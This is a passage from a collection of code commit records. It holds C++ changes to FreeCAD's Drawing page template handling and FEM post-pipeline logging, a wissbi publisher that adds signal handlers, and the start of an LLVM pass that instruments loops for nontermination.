     fi.setFile(App::Application::getResourceDir() + \"Mod\/Drawing\/Templates\/\" + fi.fileName());\r\n        \/\/ try the redirect\r\n        if (!fi.isReadable()) {\r\n            Base::Console().Log(\"FeaturePage::execute() not able to open %s!\\n\",Template.getValue());\r\n            std::string error = std::string(\"Cannot open file \") + Template.getValue();\r\n            return new App::DocumentObjectExecReturn(error);\r\n        }\r\n    }\r\n\r\n    if (std::string(PageResult.getValue()).empty())\r\n        PageResult.setValue(fi.filePath().c_str());\r\n\r\n    \/\/ open Template file\r\n    string line;\r\n    ifstream file (fi.filePath().c_str());\r\n\r\n    \/\/ make a temp file for FileIncluded Property\r\n    string tempName = PageResult.getExchangeTempFile();\r\n    ostringstream ofile;\r\n    string tempendl = \"--endOfLine--\";\r\n\r\n    while (!file.eof())\r\n    {\r\n        getline (file,line);\r\n        \/\/ check if the marker in the template is found\r\n        if(line.find(\"<!-- DrawingContent -->\") == string::npos)\r\n            \/\/ if not -  write through\r\n            ofile << line << tempendl;\r\n        else\r\n        {\r\n            \/\/ get through the children and collect all the views\r\n            const std::vector<App::DocumentObject*> &Grp = Group.getValues();\r\n            for (std::vector<App::DocumentObject*>::const_iterator It= Grp.begin();It!=Grp.end();++It) {\r\n                if ( (*It)->getTypeId().isDerivedFrom(Drawing::FeatureView::getClassTypeId()) ) {\r\n                    Drawing::FeatureView *View = dynamic_cast<Drawing::FeatureView *>(*It);\r\n                    if (View->Visible.getValue()) {\r\n                        ofile << View->ViewResult.getValue();\r\n                        ofile << tempendl << tempendl << tempendl;\r\n                    }\r\n                } else if ( (*It)->getTypeId().isDerivedFrom(Drawing::FeatureClip::getClassTypeId()) ) {\r\n                    Drawing::FeatureClip *Clip = dynamic_cast<Drawing::FeatureClip *>(*It);\r\n                    if (Clip->Visible.getValue()) {\r\n                        ofile << Clip->ViewResult.getValue();\r\n                        ofile << tempendl << tempendl << tempendl;\r\n                    }\r\n                } else if ( (*It)->getTypeId().isDerivedFrom(App::DocumentObjectGroup::getClassTypeId()) ) {\r\n                    \/\/ getting children inside subgroups too\r\n                    App::DocumentObjectGroup *SubGroup = dynamic_cast<App::DocumentObjectGroup *>(*It);\r\n                    const std::vector<App::DocumentObject*> &SubGrp = SubGroup->Group.getValues();\r\n                    for (std::vector<App::DocumentObject*>::const_iterator Grit= SubGrp.begin();Grit!=SubGrp.end();++Grit) {\r\n                        if ( (*Grit)->getTypeId().isDerivedFrom(Drawing::FeatureView::getClassTypeId()) ) {\r\n                            Drawing::FeatureView *SView = dynamic_cast<Drawing::FeatureView *>(*Grit);\r\n                            if (SView->Visible.getValue()) {\r\n                                ofile << SView->ViewResult.getValue();\r\n                                ofile << tempendl << tempendl << tempendl;\r\n                            }\r\n                        }\r\n                    }\r\n                }\r\n            }\r\n        }\r\n    }\r\n\r\n    file.close();\r\n\r\n    \/\/ checking for freecad editable texts\r\n    string outfragment(ofile.str());\r\n    const std::vector<std::string>& editText = EditableTexts.getValues();\r\n    if (!editText.empty()) {\r\n        boost::regex e1 (\"<text.*?freecad:editable=\\\"(.*?)\\\".*?<tspan.*?>(.*?)<\/tspan>\");\r\n        string::const_iterator begin, end;\r\n        begin = outfragment.begin();\r\n        end = outfragment.end();\r\n        boost::match_results<std::string::const_iterator> what;\r\n        std::size_t count = 0;\r\n        std::string newfragment;\r\n        newfragment.reserve(outfragment.size());\r\n\r\n        while (boost::regex_search(begin, end, what, e1)) {\r\n            if (count < editText.size()) {\r\n                \/\/ change values of editable texts\r\n                boost::regex e2 (\"(<text.*?freecad:editable=\\\"\"+what[1].str()+\"\\\".*?<tspan.*?)>(.*?)(<\/tspan>)\");\r\n                boost::re_detail::string_out_iterator<std::string > out(newfragment);\r\n                boost::regex_replace(out, begin, what[0].second, e2, \"$1>\"+editText[count]+\"$3\");\r\n            }\r\n            count++;\r\n            begin = what[0].second;\r\n        }\r\n\r\n        \/\/ now copy the rest\r\n        newfragment.insert(newfragment.end(), begin, end);\r\n        outfragment = newfragment;\r\n    }\r\n\r\n    \/\/ restoring linebreaks and saving the file\r\n    boost::regex e3 (\"--endOfLine--\");\r\n    string fmt = \"\\\\n\";\r\n    outfragment = boost::regex_replace(outfragment, e3, fmt);\r\n    ofstream outfinal(tempName.c_str());\r\n    outfinal << outfragment;\r\n    outfinal.close();\r\n\r\n    PageResult.setValue(tempName.c_str());\r\n\r\n    return App::DocumentObject::StdReturn;\r\n}\r\n\r\nstd::vector<std::string> FeaturePage::getEditableTextsFromTemplate(void) const {\r\n    \/\/getting editable texts from \"freecad:editable\" attributes in SVG template\r\n\r\n    std::vector<string> eds;\r\n\r\n    std::string temp = Template.getValue();\r\n    if (!temp.empty()) {\r\n        Base::FileInfo tfi(temp);\r\n        if (!tfi.isReadable()) {\r\n            \/\/ if there is a old absolute template file set use a redirect\r\n            tfi.setFile(App::Application::getResourceDir() + \"Mod\/Drawing\/Templates\/\" + tfi.fileName());\r\n            \/\/ try the redirect\r\n            if (!tfi.isReadable()) {\r\n                return eds;\r\n            }\r\n        }\r\n        string tline, tfrag;\r\n        ifstream tfile (tfi.filePath().c_str());\r\n        while (!tfile.eof()) {\r\n            getline (tfile,tline);\r\n            tfrag += tline;\r\n            tfrag += \"--endOfLine--\";\r\n        }\r\n        tfile.close();\r\n        boost::regex e (\"<text.*?freecad:editable=\\\"(.*?)\\\".*?<tspan.*?>(.*?)<\/tspan>\");\r\n        string::const_iterator tbegin, tend;\r\n        tbegin = tfrag.begin();\r\n        tend = tfrag.end();\r\n        boost::match_results<std::string::const_iterator> twhat;\r\n        while (boost::regex_search(tbegin, tend, twhat, e)) {\r\n            eds.push_back(twhat[2]);\r\n            tbegin = twhat[0].second;\r\n        }\r\n    }\r\n    return eds;\r\n}\r\n<|endoftext|>"}
{"text":"<commit_before>#include <iostream>\n#include <thread>\n#include \"msg_filter.hpp\"\n#include \"sub_dir.hpp\"\n#include \"io_policy\/line.hpp\"\n#include \"io_policy\/sysv_mq.hpp\"\n#include \"io_policy\/tcp.hpp\"\n#include \"util.hpp\"\n\nusing namespace wissbi;\nusing namespace std; \n\nint main(int argc, char* argv[]) {\n    SubDir sub_dir(\"\/var\/lib\/wissbi\", argv[1]);\n    for(string conn_str : sub_dir.GetSubList()) {\n        thread([conn_str]{\n            sockaddr sock_addr;\n            util::ConnectStringToSockaddr(conn_str, reinterpret_cast<sockaddr_in*>(&sock_addr));\n            MsgFilter<io_policy::SysvMq, io_policy::TCP> producerFilter;\n            producerFilter.Connect(&sock_addr);\n            producerFilter.FilterLoop();\n        }).detach();\n    }\n\n    MsgFilter<io_policy::Line, io_policy::SysvMq> input_filter;\n    input_filter.FilterLoop();\n\n    int wait_cnt = 0;\n    while(input_filter.GetCount() > 0 && wait_cnt++ < 100) {\n        this_thread::sleep_for(chrono::milliseconds(10));\n    }\n\n\treturn 0;\n}\n<commit_msg>disable sigint and sigterm in pub currently<commit_after>#include <signal.h>\n#include <iostream>\n#include <thread>\n#include \"msg_filter.hpp\"\n#include \"sub_dir.hpp\"\n#include \"io_policy\/line.hpp\"\n#include \"io_policy\/sysv_mq.hpp\"\n#include \"io_policy\/tcp.hpp\"\n#include \"util.hpp\"\n\nusing namespace wissbi;\nusing namespace std; \n\nvoid exit_signal_handler(int signum) {\n}\n\nint main(int argc, char* argv[]) {\n    signal(SIGINT, exit_signal_handler);\n    signal(SIGTERM, exit_signal_handler);\n\n    SubDir sub_dir(\"\/var\/lib\/wissbi\", argv[1]);\n    for(string conn_str : sub_dir.GetSubList()) {\n        thread([conn_str]{\n            sockaddr sock_addr;\n            util::ConnectStringToSockaddr(conn_str, reinterpret_cast<sockaddr_in*>(&sock_addr));\n            MsgFilter<io_policy::SysvMq, io_policy::TCP> producerFilter;\n            producerFilter.Connect(&sock_addr);\n            producerFilter.FilterLoop();\n        }).detach();\n    }\n\n    MsgFilter<io_policy::Line, io_policy::SysvMq> input_filter;\n    input_filter.FilterLoop();\n\n    int wait_cnt = 0;\n    while(input_filter.GetCount() > 0 && wait_cnt++ < 100) {\n        this_thread::sleep_for(chrono::milliseconds(10));\n    }\n\n\treturn 0;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/***************************************************************************\n *   Copyright (c) 2015 Stefan Tröger <stefantroeger@gmx.net>              *\n *                                                                         *\n *   This file is part of the FreeCAD CAx development system.              *\n *                                                                         *\n *   This library is free software; you can redistribute it and\/or         *\n *   modify it under the terms of the GNU Library General Public           *\n *   License as published by the Free Software Foundation; either          *\n *   version 2 of the License, or (at your option) any later version.      *\n *                                                                         *\n *   This library  is distributed in the hope that it will be useful,      *\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of        *\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         *\n *   GNU Library General Public License for more details.                  *\n *                                                                         *\n *   You should have received a copy of the GNU Library General Public     *\n *   License along with this library; see the file COPYING.LIB. If not,    *\n *   write to the Free Software Foundation, Inc., 59 Temple Place,         *\n *   Suite 330, Boston, MA  02111-1307, USA                                *\n *                                                                         *\n ***************************************************************************\/\n\n\n#include \"PreCompiled.h\"\n\n#ifndef _PreComp_\n# include <SMESH_Mesh.hxx>\n# include <vtkDataSetReader.h>\n# include <vtkGeometryFilter.h>\n# include <vtkStructuredGrid.h>\n# include <vtkUnstructuredGrid.h>\n# include <vtkImageData.h>\n# include <vtkRectilinearGrid.h>\n# include <vtkAppendFilter.h>\n# include <vtkXMLUnstructuredGridReader.h>\n# include <vtkXMLPolyDataReader.h>\n# include <vtkXMLStructuredGridReader.h>\n# include <vtkXMLRectilinearGridReader.h>\n# include <vtkXMLImageDataReader.h>\n#endif\n\n#include \"FemPostPipeline.h\"\n#include \"FemMesh.h\"\n#include \"FemMeshObject.h\"\n#include \"FemVTKTools.h\"\n\n#include <Base\/Console.h>\n#include <App\/Document.h>\n\n#include <App\/DocumentObjectPy.h>\n#include <Mod\/Fem\/App\/FemPostPipelinePy.h>\n\n\nusing namespace Fem;\nusing namespace App;\n\nPROPERTY_SOURCE(Fem::FemPostPipeline, Fem::FemPostObject)\nconst char* FemPostPipeline::ModeEnums[]= {\"Serial\",\"Parallel\",NULL};\n\nFemPostPipeline::FemPostPipeline()\n{\n    ADD_PROPERTY_TYPE(Filter, (0), \"Pipeline\", App::Prop_None, \"The filter used in in this pipeline\");\n    ADD_PROPERTY_TYPE(Functions, (0), \"Pipeline\", App::Prop_Hidden, \"The function provider which groups all pipeline functions\");\n    ADD_PROPERTY_TYPE(Mode,(long(0)), \"Pipeline\", App::Prop_None, \"Selects the pipeline data transition mode. In serial every filter\"\n                                                              \"gets the output of the previous one as input, in parallel every\"\n                                                              \"filter gets the pipelien source as input.\");\n    Mode.setEnums(ModeEnums);\n}\n\nFemPostPipeline::~FemPostPipeline()\n{\n}\n\nshort FemPostPipeline::mustExecute(void) const\n{\n    if(Mode.isTouched())\n        return 1;\n\n    return FemPostFilter::mustExecute();\n}\n\nDocumentObjectExecReturn* FemPostPipeline::execute(void) {\n\n    \/\/if we are the toplevel pipeline our data object is not created by filters, we are the main source!\n    if(!Input.getValue())\n        return StdReturn;\n\n    \/\/now if we are a filter than our data object is created by the filter we hold\n\n    \/\/if we are in serial mode we just copy over the data of the last filter,\n    \/\/but if we are in parallel we need to combine all filter results\n    if(Mode.getValue() == 0) {\n\n        \/\/serial\n        Data.setValue(getLastPostObject()->Data.getValue());\n    }\n    else {\n\n        \/\/parallel. go through all filters and append the result\n        const std::vector<App::DocumentObject*>& filters = Filter.getValues();\n        std::vector<App::DocumentObject*>::const_iterator it = filters.begin();\n\n        vtkSmartPointer<vtkAppendFilter> append = vtkSmartPointer<vtkAppendFilter>::New();\n        for(;it != filters.end(); ++it) {\n\n            append->AddInputDataObject(static_cast<FemPostObject*>(*it)->Data.getValue());\n        }\n\n        append->Update();\n        Data.setValue(append->GetOutputDataObject(0));\n    }\n\n\n    return Fem::FemPostObject::execute();\n}\n\n\nbool FemPostPipeline::canRead(Base::FileInfo File) {\n\n    if (File.hasExtension(\"vtk\") ||\n        \/\/ from FemResult only unstructural mesh is supported in femvtktoools.cpp\n        File.hasExtension(\"vtp\") ||\n        File.hasExtension(\"vts\") ||\n        File.hasExtension(\"vtr\") ||\n        File.hasExtension(\"vti\") ||\n        File.hasExtension(\"vtu\"))\n        return true;\n\n    return false;\n}\n\nvoid FemPostPipeline::read(Base::FileInfo File) {\n\n    \/\/ checking on the file\n    if (!File.isReadable())\n        throw Base::FileException(\"File to load not existing or not readable\", File);\n\n    if (File.hasExtension(\"vtu\"))\n        readXMLFile<vtkXMLUnstructuredGridReader>(File.filePath());\n    else if (File.hasExtension(\"vtp\"))\n        readXMLFile<vtkXMLPolyDataReader>(File.filePath());\n    else if (File.hasExtension(\"vts\"))\n        readXMLFile<vtkXMLStructuredGridReader>(File.filePath());\n    else if (File.hasExtension(\"vtr\"))\n        readXMLFile<vtkXMLRectilinearGridReader>(File.filePath());\n    else if (File.hasExtension(\"vti\"))\n        readXMLFile<vtkXMLImageDataReader>(File.filePath());\n    else if (File.hasExtension(\"vtk\"))\n        readXMLFile<vtkDataSetReader>(File.filePath());\n    else\n        throw Base::FileException(\"Unknown extension\");\n}\n\n\n\/\/ PyObject *FemPostPipeline::getPyObject()\n\/\/ {\n\/\/     if (PythonObject.is(Py::_None())){\n\/\/         \/\/ ref counter is set to 1\n\/\/         PythonObject = Py::Object(new DocumentObjectPy(this),true);\n\/\/     }\n\/\/     return Py::new_reference_to(PythonObject);\n\/\/ }\n\nvoid FemPostPipeline::onChanged(const Property* prop)\n{\n    if(prop == &Filter || prop == &Mode) {\n\n        \/\/we check if all connections are right and add new ones if needed\n        std::vector<App::DocumentObject*> objs = Filter.getValues();\n\n        if(objs.empty())\n            return;\n\n        std::vector<App::DocumentObject*>::iterator it = objs.begin();\n        FemPostFilter* filter = static_cast<FemPostFilter*>(*it);\n\n        \/\/If we have a Input we need to ensure our filters are connected correctly\n        if(Input.getValue()) {\n\n            \/\/the first filter is always connected to the input\n            if(filter->Input.getValue() != Input.getValue())\n                filter->Input.setValue(Input.getValue());\n\n            \/\/all the others need to be connected to the previous filter or the source, dependent on the mode\n            ++it;\n            for(; it != objs.end(); ++it) {\n                FemPostFilter* nextFilter = static_cast<FemPostFilter*>(*it);\n\n                if(Mode.getValue() == 0) { \/\/serial mode\n                    if( nextFilter->Input.getValue() != filter)\n                        nextFilter->Input.setValue(filter);\n                }\n                else { \/\/Parallel mode\n                    if( nextFilter->Input.getValue() != Input.getValue())\n                        nextFilter->Input.setValue(Input.getValue());\n                }\n\n                filter = nextFilter;\n            };\n        }\n        \/\/if we have no input the filters are responsible of grabbing the pipeline data themself\n        else {\n            \/\/the first filter must always grab the data\n            if(filter->Input.getValue() != NULL)\n                filter->Input.setValue(NULL);\n\n            \/\/all the others need to be connected to the previous filter or grab the data, dependent on mode\n            ++it;\n            for(; it != objs.end(); ++it) {\n                FemPostFilter* nextFilter = static_cast<FemPostFilter*>(*it);\n\n                if(Mode.getValue() == 0) { \/\/serial mode\n                    if( nextFilter->Input.getValue() != filter)\n                        nextFilter->Input.setValue(filter);\n                }\n                else { \/\/Parallel mode\n                    if( nextFilter->Input.getValue() != NULL)\n                        nextFilter->Input.setValue(NULL);\n                }\n\n                filter = nextFilter;\n            };\n        }\n    }\n\n    App::GeoFeature::onChanged(prop);\n\n}\n\nFemPostObject* FemPostPipeline::getLastPostObject() {\n\n    if(Filter.getValues().empty())\n        return this;\n\n    return static_cast<FemPostObject*>(Filter.getValues().back());\n}\n\nbool FemPostPipeline::holdsPostObject(FemPostObject* obj) {\n\n    std::vector<App::DocumentObject*>::const_iterator it = Filter.getValues().begin();\n    for(; it != Filter.getValues().end(); ++it) {\n\n        if(*it == obj)\n            return true;\n    }\n    return false;\n}\n\nvoid FemPostPipeline::load(FemResultObject* res) {\n    if(!res->Mesh.getValue() || !res->Mesh.getValue()->isDerivedFrom(Fem::FemMeshObject::getClassTypeId())) {\n        Base::Console().Warning(\"Mesh of result object is empty or not derived from Fem::FemMeshObject\\n\");\n        return;\n    }\n\n    \/\/first copy the mesh over\n    \/\/ ***************************\n    const FemMesh& mesh = static_cast<FemMeshObject*>(res->Mesh.getValue())->FemMesh.getValue();\n    vtkSmartPointer<vtkUnstructuredGrid> grid = vtkSmartPointer<vtkUnstructuredGrid>::New();\n    FemVTKTools::exportVTKMesh(&mesh, grid);\n\n    \/\/Now copy the point data over\n    \/\/ ***************************\n    FemVTKTools::exportFreeCADResult(res, grid);\n\n    Data.setValue(grid);\n}\n\nPyObject* FemPostPipeline::getPyObject(void)\n{\n    if (PythonObject.is(Py::_None())) {\n        \/\/ ref counter is set to 1\n        PythonObject = Py::Object(new FemPostPipelinePy(this),true);\n    }\n    return Py::new_reference_to(PythonObject);\n}\n<commit_msg>FEM: post result mesh, better log<commit_after>\/***************************************************************************\n *   Copyright (c) 2015 Stefan Tröger <stefantroeger@gmx.net>              *\n *                                                                         *\n *   This file is part of the FreeCAD CAx development system.              *\n *                                                                         *\n *   This library is free software; you can redistribute it and\/or         *\n *   modify it under the terms of the GNU Library General Public           *\n *   License as published by the Free Software Foundation; either          *\n *   version 2 of the License, or (at your option) any later version.      *\n *                                                                         *\n *   This library  is distributed in the hope that it will be useful,      *\n *   but WITHOUT ANY WARRANTY; without even the implied warranty of        *\n *   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the         *\n *   GNU Library General Public License for more details.                  *\n *                                                                         *\n *   You should have received a copy of the GNU Library General Public     *\n *   License along with this library; see the file COPYING.LIB. If not,    *\n *   write to the Free Software Foundation, Inc., 59 Temple Place,         *\n *   Suite 330, Boston, MA  02111-1307, USA                                *\n *                                                                         *\n ***************************************************************************\/\n\n\n#include \"PreCompiled.h\"\n\n#ifndef _PreComp_\n# include <SMESH_Mesh.hxx>\n# include <vtkDataSetReader.h>\n# include <vtkGeometryFilter.h>\n# include <vtkStructuredGrid.h>\n# include <vtkUnstructuredGrid.h>\n# include <vtkImageData.h>\n# include <vtkRectilinearGrid.h>\n# include <vtkAppendFilter.h>\n# include <vtkXMLUnstructuredGridReader.h>\n# include <vtkXMLPolyDataReader.h>\n# include <vtkXMLStructuredGridReader.h>\n# include <vtkXMLRectilinearGridReader.h>\n# include <vtkXMLImageDataReader.h>\n#endif\n\n#include \"FemPostPipeline.h\"\n#include \"FemMesh.h\"\n#include \"FemMeshObject.h\"\n#include \"FemVTKTools.h\"\n\n#include <Base\/Console.h>\n#include <App\/Document.h>\n\n#include <App\/DocumentObjectPy.h>\n#include <Mod\/Fem\/App\/FemPostPipelinePy.h>\n\n\nusing namespace Fem;\nusing namespace App;\n\nPROPERTY_SOURCE(Fem::FemPostPipeline, Fem::FemPostObject)\nconst char* FemPostPipeline::ModeEnums[]= {\"Serial\",\"Parallel\",NULL};\n\nFemPostPipeline::FemPostPipeline()\n{\n    ADD_PROPERTY_TYPE(Filter, (0), \"Pipeline\", App::Prop_None, \"The filter used in in this pipeline\");\n    ADD_PROPERTY_TYPE(Functions, (0), \"Pipeline\", App::Prop_Hidden, \"The function provider which groups all pipeline functions\");\n    ADD_PROPERTY_TYPE(Mode,(long(0)), \"Pipeline\", App::Prop_None, \"Selects the pipeline data transition mode. In serial every filter\"\n                                                              \"gets the output of the previous one as input, in parallel every\"\n                                                              \"filter gets the pipelien source as input.\");\n    Mode.setEnums(ModeEnums);\n}\n\nFemPostPipeline::~FemPostPipeline()\n{\n}\n\nshort FemPostPipeline::mustExecute(void) const\n{\n    if(Mode.isTouched())\n        return 1;\n\n    return FemPostFilter::mustExecute();\n}\n\nDocumentObjectExecReturn* FemPostPipeline::execute(void) {\n\n    \/\/if we are the toplevel pipeline our data object is not created by filters, we are the main source!\n    if(!Input.getValue())\n        return StdReturn;\n\n    \/\/now if we are a filter than our data object is created by the filter we hold\n\n    \/\/if we are in serial mode we just copy over the data of the last filter,\n    \/\/but if we are in parallel we need to combine all filter results\n    if(Mode.getValue() == 0) {\n\n        \/\/serial\n        Data.setValue(getLastPostObject()->Data.getValue());\n    }\n    else {\n\n        \/\/parallel. go through all filters and append the result\n        const std::vector<App::DocumentObject*>& filters = Filter.getValues();\n        std::vector<App::DocumentObject*>::const_iterator it = filters.begin();\n\n        vtkSmartPointer<vtkAppendFilter> append = vtkSmartPointer<vtkAppendFilter>::New();\n        for(;it != filters.end(); ++it) {\n\n            append->AddInputDataObject(static_cast<FemPostObject*>(*it)->Data.getValue());\n        }\n\n        append->Update();\n        Data.setValue(append->GetOutputDataObject(0));\n    }\n\n\n    return Fem::FemPostObject::execute();\n}\n\n\nbool FemPostPipeline::canRead(Base::FileInfo File) {\n\n    if (File.hasExtension(\"vtk\") ||\n        \/\/ from FemResult only unstructural mesh is supported in femvtktoools.cpp\n        File.hasExtension(\"vtp\") ||\n        File.hasExtension(\"vts\") ||\n        File.hasExtension(\"vtr\") ||\n        File.hasExtension(\"vti\") ||\n        File.hasExtension(\"vtu\"))\n        return true;\n\n    return false;\n}\n\nvoid FemPostPipeline::read(Base::FileInfo File) {\n\n    \/\/ checking on the file\n    if (!File.isReadable())\n        throw Base::FileException(\"File to load not existing or not readable\", File);\n\n    if (File.hasExtension(\"vtu\"))\n        readXMLFile<vtkXMLUnstructuredGridReader>(File.filePath());\n    else if (File.hasExtension(\"vtp\"))\n        readXMLFile<vtkXMLPolyDataReader>(File.filePath());\n    else if (File.hasExtension(\"vts\"))\n        readXMLFile<vtkXMLStructuredGridReader>(File.filePath());\n    else if (File.hasExtension(\"vtr\"))\n        readXMLFile<vtkXMLRectilinearGridReader>(File.filePath());\n    else if (File.hasExtension(\"vti\"))\n        readXMLFile<vtkXMLImageDataReader>(File.filePath());\n    else if (File.hasExtension(\"vtk\"))\n        readXMLFile<vtkDataSetReader>(File.filePath());\n    else\n        throw Base::FileException(\"Unknown extension\");\n}\n\n\n\/\/ PyObject *FemPostPipeline::getPyObject()\n\/\/ {\n\/\/     if (PythonObject.is(Py::_None())){\n\/\/         \/\/ ref counter is set to 1\n\/\/         PythonObject = Py::Object(new DocumentObjectPy(this),true);\n\/\/     }\n\/\/     return Py::new_reference_to(PythonObject);\n\/\/ }\n\nvoid FemPostPipeline::onChanged(const Property* prop)\n{\n    if(prop == &Filter || prop == &Mode) {\n\n        \/\/we check if all connections are right and add new ones if needed\n        std::vector<App::DocumentObject*> objs = Filter.getValues();\n\n        if(objs.empty())\n            return;\n\n        std::vector<App::DocumentObject*>::iterator it = objs.begin();\n        FemPostFilter* filter = static_cast<FemPostFilter*>(*it);\n\n        \/\/If we have a Input we need to ensure our filters are connected correctly\n        if(Input.getValue()) {\n\n            \/\/the first filter is always connected to the input\n            if(filter->Input.getValue() != Input.getValue())\n                filter->Input.setValue(Input.getValue());\n\n            \/\/all the others need to be connected to the previous filter or the source, dependent on the mode\n            ++it;\n            for(; it != objs.end(); ++it) {\n                FemPostFilter* nextFilter = static_cast<FemPostFilter*>(*it);\n\n                if(Mode.getValue() == 0) { \/\/serial mode\n                    if( nextFilter->Input.getValue() != filter)\n                        nextFilter->Input.setValue(filter);\n                }\n                else { \/\/Parallel mode\n                    if( nextFilter->Input.getValue() != Input.getValue())\n                        nextFilter->Input.setValue(Input.getValue());\n                }\n\n                filter = nextFilter;\n            };\n        }\n        \/\/if we have no input the filters are responsible of grabbing the pipeline data themself\n        else {\n            \/\/the first filter must always grab the data\n            if(filter->Input.getValue() != NULL)\n                filter->Input.setValue(NULL);\n\n            \/\/all the others need to be connected to the previous filter or grab the data, dependent on mode\n            ++it;\n            for(; it != objs.end(); ++it) {\n                FemPostFilter* nextFilter = static_cast<FemPostFilter*>(*it);\n\n                if(Mode.getValue() == 0) { \/\/serial mode\n                    if( nextFilter->Input.getValue() != filter)\n                        nextFilter->Input.setValue(filter);\n                }\n                else { \/\/Parallel mode\n                    if( nextFilter->Input.getValue() != NULL)\n                        nextFilter->Input.setValue(NULL);\n                }\n\n                filter = nextFilter;\n            };\n        }\n    }\n\n    App::GeoFeature::onChanged(prop);\n\n}\n\nFemPostObject* FemPostPipeline::getLastPostObject() {\n\n    if(Filter.getValues().empty())\n        return this;\n\n    return static_cast<FemPostObject*>(Filter.getValues().back());\n}\n\nbool FemPostPipeline::holdsPostObject(FemPostObject* obj) {\n\n    std::vector<App::DocumentObject*>::const_iterator it = Filter.getValues().begin();\n    for(; it != Filter.getValues().end(); ++it) {\n\n        if(*it == obj)\n            return true;\n    }\n    return false;\n}\n\nvoid FemPostPipeline::load(FemResultObject* res) {\n    if (!res->Mesh.getValue()) {\n        Base::Console().Log(\"Result mesh object is empty.\\n\");\n        return;\n    }\n    if(!res->Mesh.getValue()->isDerivedFrom(Fem::FemMeshObject::getClassTypeId())) {\n        Base::Console().Log(\"Result mesh object is not derived from Fem::FemMeshObject.\\n\");\n        return;\n    }\n\n    \/\/first copy the mesh over\n    \/\/ ***************************\n    const FemMesh& mesh = static_cast<FemMeshObject*>(res->Mesh.getValue())->FemMesh.getValue();\n    vtkSmartPointer<vtkUnstructuredGrid> grid = vtkSmartPointer<vtkUnstructuredGrid>::New();\n    FemVTKTools::exportVTKMesh(&mesh, grid);\n\n    \/\/Now copy the point data over\n    \/\/ ***************************\n    FemVTKTools::exportFreeCADResult(res, grid);\n\n    Data.setValue(grid);\n}\n\nPyObject* FemPostPipeline::getPyObject(void)\n{\n    if (PythonObject.is(Py::_None())) {\n        \/\/ ref counter is set to 1\n        PythonObject = Py::Object(new FemPostPipelinePy(this),true);\n    }\n    return Py::new_reference_to(PythonObject);\n}\n<|endoftext|>"}
{"text":"<commit_before><commit_msg>Path: [skip ci] fix memory leak in TooltablePy::getTools() For some background information see: https:\/\/forum.freecadweb.org\/viewtopic.php?f=15&t=50583&start=20#p457516<commit_after><|endoftext|>"}
{"text":"<commit_before><commit_msg>new version<commit_after><|endoftext|>"}
{"text":"<commit_before>\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\n#include <vector>\n\n#include \"llvm\/IR\/DataLayout.h\"\n#include \"llvm\/IR\/BasicBlock.h\"\n#include \"llvm\/IR\/Constants.h\"\n#include \"llvm\/IR\/Function.h\"\n#include \"llvm\/IR\/GlobalVariable.h\"\n#include \"llvm\/IR\/Instructions.h\"\n#include \"llvm\/IR\/Module.h\"\n#include \"llvm\/Pass.h\"\n#include \"llvm\/IR\/Type.h\"\n#include \"llvm\/Support\/raw_ostream.h\"\n#include \"llvm\/Transforms\/Utils\/BasicBlockUtils.h\"\n\n#include \"llvm\/Analysis\/LoopInfo.h\"\n#include \"llvm\/Analysis\/LoopPass.h\"\n\nusing namespace llvm;\n\nbool CloneMetadata(const llvm::Instruction *, llvm::Instruction *);\n\nclass InstrumentNontermination : public LoopPass {\n  bool checkFunction(Function *F);\n  bool instrumentLoop(Loop *L);\n  bool instrumentLoop(Loop *L, const std::set<llvm::Value *>& variables);\n\n  llvm::Value *getOperand(llvm::Value *v) {\n      if (isa<Constant>(v) ||\n          isa<AllocaInst>(v) || isa<GlobalVariable>(v)) {\n          return v;\n      }\n      return nullptr;\n  }\n\n  Function *_assert{nullptr};\n\n  public:\n    static char ID;\n\n    InstrumentNontermination() : LoopPass(ID) {}\n\n    bool runOnLoop(Loop *L, LPPassManager &LPM) override {\n      \/\/ for now, we detect only nested loops\n      if (L->getParentLoop()) {\n          \/\/ run on non-nested loops for now\n          return false;\n      }\n\n      return instrumentLoop(L);\n    }\n};\n\nbool InstrumentNontermination::checkFunction(Function *F) {\n  if (!F) \/\/ call via pointer\n      return false;\n\n  if (F->getName().equals(\"__VERIFIER_assume\") ||\n      F->getName().equals(\"__VERIFIER_assert\"))\n    return true;\n  return false;\n}\n\nbool InstrumentNontermination::instrumentLoop(Loop *L) {\n  std::set<llvm::Value *> usedValues;\n\n  for (auto *block : L->blocks()) {\n    \/\/ check that the loop reads and writes only to known\n    \/\/ locations (allocas and global variables)\n    for (auto& I : *block) {\n      if (auto *CI = dyn_cast<CallInst>(&I)) {\n          if (!checkFunction(CI->getCalledFunction())) {\n            return false;\n          }\n      } else if (auto LI = dyn_cast<LoadInst>(&I)) {\n        if (auto v = getOperand(LI->getPointerOperand())) {\n          if (!isa<ConstantInt>(v)) {\n            usedValues.insert(v);\n          }\n        } else {\n          return false;\n        }\n      } else if (auto SI = dyn_cast<StoreInst>(&I)) {\n        if (auto p = getOperand(SI->getPointerOperand())) {\n          if (!isa<ConstantInt>(p)) {\n            usedValues.insert(p);\n          }\n        } else {\n          return false;\n        }\n      } else {\n        if (I.mayReadOrWriteMemory()) {\n          llvm::errs() << \"WARNING: Unhandled instr: \" << I << \"\\n\";\n          return false;\n        }\n      }\n    }\n  }\n\n  return instrumentLoop(L, usedValues);\n}\n\n\nbool InstrumentNontermination::instrumentLoop(Loop *L, const std::set<llvm::Value *>& variables) {\n  auto *header = L->getHeader();\n  assert(header);\n\n  \/\/ mapping of old to new ones\n  std::map<Value *, Value *> mapping;\n\n  \/\/ for each variable, create its copy in the header\n  \/\/ and store the last recent value from the original\n  \/\/ variable\n  for (auto *v : variables) {\n    \/\/errs() << \"INFO: variable: \" << *v << \"\\n\";\n    Instruction *newVal = nullptr;\n    if (auto *I = dyn_cast<Instruction>(v)) {\n        newVal = I->clone();\n        newVal->insertAfter(I);\n    } else if (auto *G = dyn_cast<GlobalValue>(v)) {\n        \/\/ create a new alloca that\n        \/\/ is going to be inserted at the beginning of the header\n        newVal = new AllocaInst(G->getType()->getContainedType(0)\n#if (LLVM_VERSION_MAJOR >= 5)\n        , G->getType()->getAddressSpace()\n#endif\n        );\n\n        \/\/ puth the alloca on the beginning of the function\n        newVal->insertBefore(header->getParent()->getBasicBlockList().front().getTerminator());\n    } 